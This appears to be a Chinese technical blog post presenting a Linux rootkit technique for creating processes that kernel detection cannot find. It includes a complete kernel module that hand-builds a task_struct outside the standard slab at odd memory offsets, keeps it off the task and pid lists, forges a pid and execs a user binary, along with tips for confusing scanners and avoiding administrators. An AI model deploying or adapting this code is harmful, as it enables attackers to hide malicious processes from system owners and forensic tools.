Linux系统创建系统侦测不到的隐形进程(Rootkit技术必备)

在前面的文章中,我不止一次谈到隐藏一个进程的方法,该方法在我看来引以为豪地彻底又直接:

  • 将task从tasks链表摘除。
  • 将task从pid链表摘除。

如此一来除非你扫描run queue或者扫描内存进行特征匹配,否则很难找到这个被隐藏的进程:

  • task即使被隐藏也要进入run queue运行。
  • task的字段值或者其地址本身具有特征。

当然,前面提到的perf probe/trace,dump stack之类的侦测技术无疑也属于扫描run queue或者特征匹配的范畴。

方法是好方法,确实也可以吊打那些hook procfs的方法,但是有个漏洞:

  • task_struct是从kmem cache中分配的,而kmem cache是slab统一管理的!

我们将task从各类链表摘除,无非就是想做一件事,那就是让该task脱离管制,task所属的链表可以随意摘除,但是task出生的场所却不可改变!

我们把task的各类链表看作是它的身份证,户口本之类,属于task本身的合法性证件,那么管理task的kmem cache就是task出生的医院以及接生护士,携带着出生证明,在系统中,它就是task_struct_cachep。

身份证,户口本可以伪造,可以撕毁,但是task出生的医院却无法搬移!

只要我们扫描task_struct_cachep中的所有活动对象,那么定然可以找到所有task,包括被隐藏的task!!

这无疑对摘链而言,又是一次降维打击。

如何应对?

做一个类比,在计划-生育的年代,如果想多生,那肯定不能去医院。类似的,如果不想自己的task被slab管理,那就别在kmem cache中创建task!如果说我们把摘链方案看作是后天伪造身份的话,那么避开task_struct_cachep slab而创建的task就是天生的黑户。

为了完成这个目标,即创建一个黑户task,就意味着, 我们要自定义fork的过程。

先看看我如何创建task:

base = kmalloc(2048*3, GFP_KERNEL);
tsk = (struct task_struct *)(base + 157);

首先,我们在kmalloc-8192中分配task,以防止被人根据task_struct的大小一下子猜到kmalloc-4096,其次,我们在内存的稍微大一些的奇数偏移处开始初始化task_struct,毕竟,大多数的人以及几乎所有经理都认为地址都是从对齐的偶数开始的,偏不,哈哈。

我们知道,kmalloc slab是一个公用的slab池,满足一些常见大小的私有内存的分配需求,不管怎么说,它也是受slab管理,还是有风险,如果想让task的创建彻底脱离slab的管理,那不妨试试下面的:

bash = page_address(__alloc_pages(...));
tsk = (struct task_struct *)(base + 157);

甚至可以将task放藏在内核_text段中可供藏污纳垢的地方。

本文为了快速展示效果,并不采用这些彻底的方式,而是采用较为简单的kmalloc。

接下来的任务就简单了:

  1. 照着copy_process的实现进行最小化代码复制。
  2. 不要复制copy_process的pid管理部分,改为LIST_INIT。
  3. 不要复制copy_process的链表管理部分,改为HLIST_INIT。
  4. 所有的深拷贝对象尽量用__alloc_pages,至少用kmalloc-2x+来分配。
  5. 剩余的空闲内存填充task字段的显著特征值,以混淆视听。
  6. 实在嫌麻烦,那就照抄用kmem_cache_alloc,但会增加被经理抓的风险。
  7. 设置内核线程,并在内核线程中调用do_execve到用户态可执行文件。
  8. wake up新进程。
  9. 新进程尽量不要退出,因为kmem cache不会收容它的尸体。

第9点比较有意思,出生时的黑户,死了也没法入土为安…

黑户的收尸工作还得找私人来做:

  • 让黑户睡眠在私人的一个队列上,然后马上schedule。
  • 私人进行kfree操作即可。

来来来,看代码:

// 声明两句:
// 1. 我嫌麻烦,所以很多函数没有抄写,而只是lookup syms后直接调用。
// 2. 最小化原则,不保证没有BUG。
#include <linux/module.h>
#include <linux/cred.h>
#include <linux/slab.h>
#include <linux/kallsyms.h>
#include <linux/nsproxy.h>
#include <linux/pid_namespace.h>
#include <linux/random.h>
#include <linux/fdtable.h>
#include <linux/cgroup.h>
#include <linux/sched.h>

int (*_run_process)(struct filename *file, char **, char **);
struct filename * (*_getname_kernel)(char *name);

int test_stub2(void)
{
	printk("stub pid: %d  at %p\n", current->pid, current);
	if (_run_process) {
		int r =_run_process(_getname_kernel("/root/run"), NULL, NULL);
		printk("result:%d\n", r);
	}
	current->parent = current;
	current->real_parent = current;
	// kernel thread要返回用户态,才能达到exec到新task的效果。
	// 但是记住,exit的时候,直接schedule掉即可,记住把它的parent设置成它自己。
	// 否则,其parent会wait并尝试free掉隐藏task,这会导致内存状态异常。
	return 0;
}

int (*_arch_dup_task_struct)(struct task_struct *, struct task_struct *);
int (*_copy_thread)(unsigned long, unsigned long, unsigned long, struct task_struct *);
void (*_wake_up_new_task)(struct task_struct *);
void (*_sched_fork)(unsigned long, struct task_struct *);
struct fs_struct * (*_copy_fs_struct)(struct fs_struct *);
struct files_struct * (*_dup_fd)(struct files_struct *, int *);
struct pid * (*_alloc_pid)(struct pid_namespace *ns);
enum hrtimer_restart (*_it_real_fn)(struct hrtimer *timer);

static int __init private_proc_init(void)
{
	unsigned char *base;
	struct task_struct *tsk;
	struct thread_info *ti;
	struct task_struct *orig = current;
	unsigned long *stackend;
	struct pid_link *link;
	struct hlist_node *node;
	struct sighand_struct *sig;
	struct signal_struct *sign;
	struct cred *new;
	struct pid *pid = NULL;
	int type, err = 0;

	_arch_dup_task_struct = (void *)kallsyms_lookup_name("arch_dup_task_struct");
	_sched_fork = (void *)kallsyms_lookup_name("sched_fork");
	_copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct");
	_dup_fd = (void *)kallsyms_lookup_name("dup_fd");
	_run_process = (void *)kallsyms_lookup_name("do_execve");
	_getname_kernel =  (void *)kallsyms_lookup_name("getname_kernel");
	_it_real_fn =  (void *)kallsyms_lookup_name("it_real_fn");
	_alloc_pid =  (void *)kallsyms_lookup_name("alloc_pid");
	_copy_thread = (void *)kallsyms_lookup_name("copy_thread");
	_wake_up_new_task = (void *)kallsyms_lookup_name("wake_up_new_task");

	base = (unsigned char *)kmalloc(4096, GFP_KERNEL);
	tsk = (struct task_struct *)(base + 157);
	_arch_dup_task_struct(tsk, orig);
	base = (unsigned char *)kmalloc(sizeof(struct thread_info) + 17, GFP_KERNEL);
	ti = (struct thread_info *)(base);
	tsk->stack = ti;
	*task_thread_info(tsk) = *task_thread_info(orig);
	task_thread_info(tsk)->task = tsk;
	stackend = end_of_stack(tsk);
	*stackend = 0x57AC6E9D;
	tsk->stack_canary = get_random_int();

	clear_tsk_thread_flag(tsk, TIF_USER_RETURN_NOTIFY);
	clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED	);
	// 避免wait释放kmalloc的内存到特定slab,引用计数设置为2
	atomic_set(&tsk->usage, 2);
	tsk->splice_pipe = NULL;
	tsk->task_frag.page = NULL;
	memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat));

	raw_spin_lock_init(&tsk->pi_lock);
	plist_head_init(&tsk->pi_waiters);
	tsk->pi_blocked_on = NULL;

	rcu_copy_process(tsk);
	tsk->vfork_done = NULL;
	spin_lock_init(&tsk->alloc_lock);
	init_sigpending(&tsk->pending);

	seqlock_init(&tsk->vtime_seqlock);
	tsk->audit_context = NULL;

	_sched_fork(0, tsk);

	tsk->mm = NULL;
	tsk->active_mm = NULL;
	memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp));
	mutex_init(&tsk->perf_event_mutex);
	INIT_LIST_HEAD(&tsk->perf_event_list);

	new = prepare_creds();
	if (new->thread_keyring) {
		key_put(new->thread_keyring);
		new->thread_keyring = NULL;
	}
	key_put(new->process_keyring);
	new->process_keyring = NULL;
	atomic_inc(&new->user->processes);
	tsk->cred = tsk->real_cred = get_cred(new);
	validate_creds(new);

	tsk->fs = _copy_fs_struct(current->fs);
	tsk->files = _dup_fd(current->files, &err);
	base = kmalloc(sizeof(struct sighand_struct) + 13, GFP_KERNEL);
	// 奇数地址
	sig = (struct sighand_struct *)(base + 3);
	// 避免do_exit释放kmalloc的内存到特定slab,引用计数设置为2
	atomic_set(&sig->count, 2);
	memcpy(sig->action, current->sighand->action, sizeof(sig->action));

	base = kmalloc(sizeof(struct signal_struct) + 15, GFP_KERNEL);
	sign = (struct signal_struct *)(base + 7);
	sign->nr_threads = 1;
	// 避免do_exit释放kmalloc的内存到特定slab,引用计数设置为2
	atomic_set(&sign->live, 2);
	atomic_set(&sign->sigcnt, 2);
	sign->thread_head = (struct list_head)LIST_HEAD_INIT(tsk->thread_node);
	tsk->thread_node = (struct list_head)LIST_HEAD_INIT(sign->thread_head);
	init_waitqueue_head(&sign->wait_chldexit);
	sign->curr_target = tsk;
	init_sigpending(&sign->shared_pending);
	INIT_LIST_HEAD(&sign->posix_timers);
	seqlock_init(&sign->stats_lock);
	memcpy(sign->rlim, current->signal->rlim, sizeof sign->rlim);

	tsk->cgroups = current->cgroups;
	atomic_inc(&tsk->cgroups->refcount);
	INIT_LIST_HEAD(&tsk->cg_list);

	// 设置堆栈以及入口
	tsk->flags |= PF_KTHREAD;
	// 我们用一个kernel thread stub来exec到用户态的binary。
	_copy_thread(0, (unsigned long)test_stub2, (unsigned long)0, tsk);
	tsk->clear_child_tid = NULL;
	tsk->set_child_tid = NULL;

	// 伪造身份证明
	pid = kmalloc(sizeof(struct pid), GFP_KERNEL);
	pid->level = current->nsproxy->pid_ns->level;
	pid->numbers[0].nr = 0xffff;
	pid->numbers[0].ns = current->nsproxy->pid_ns;
	for (type = 0; type < PIDTYPE_MAX; ++type)
		INIT_HLIST_HEAD(&pid->tasks[type]);
	atomic_set(&pid->count, 2);

	// 进程管理结构自吞尾
	INIT_LIST_HEAD(&tsk->ptrace_entry);
	INIT_LIST_HEAD(&tsk->ptraced);
	atomic_set(&tsk->ptrace_bp_refcnt, 1);
	tsk->jobctl = 0;
	tsk->ptrace = 0;
	tsk->pi_state_cache = NULL;
	tsk->group_leader = tsk;
	INIT_LIST_HEAD(&tsk->thread_group);
	tsk->pid = pid_nr(pid);
	INIT_LIST_HEAD(&tsk->pi_state_list);
	INIT_LIST_HEAD(&tsk->tasks);
	INIT_LIST_HEAD(&tsk->children);
	INIT_LIST_HEAD(&tsk->sibling);

	// 进程组织自吞尾
	tsk->pids[PIDTYPE_PID].pid = pid;
	link = &tsk->pids[PIDTYPE_PID];
	node = &link->node;
	INIT_HLIST_NODE(node);
	node->pprev = &node;

	// 来吧!
	_wake_up_new_task(tsk);

	return -1; // oneshot,并非真正加载模块
}

static void __exit private_proc_exit(void)
{
}

module_init(private_proc_init);
module_exit(private_proc_exit);
MODULE_LICENSE("GPL");

我们的测试程序是/root/run,它的任务是循环在/dev/pts/0上打一堆a:

#include <fcntl.h>
int main(int argc, char **argv)
{
	int fd = open("/dev/pts/0", O_RDWR);
	while (1) {
		write(fd, "aaaaaaaaa\n", 10);
		sleep(1);
	}
}

效果我就不试了,肯定是在/dev/pts/0上成功打印一堆a。该进程在内核进程管理的任何链表上均无法被找到。如果你非要说它仍然可以在run queue上被找到,我的回答是, Rootkit进程尽量不要大造势,否则引起经理注意了,再牛的技术也无法逃避被找到的命运。

值得点评一句的是,其实可以分配很多同样的task,同时使用task slab,kmalloc slab,buddy,但是只有少量的几个被wake up,如此增强混淆视听的效果。

再次强调,上述的方法创建的task由于没有通过标准slab分配内存,那么为了避免do_exit/wait将这些内存释放回标准slab,引用计数一定要注意设置为2!待到想回收它们时,我们自己来回收便是了,毕竟,只有我们自己知道157,17,13之类的地址偏移,不是么?!


是不是挺有意思?


浙江温州皮鞋湿,下雨进水不会胖。

猜你喜欢

转载自blog.csdn.net/dog250/article/details/105939822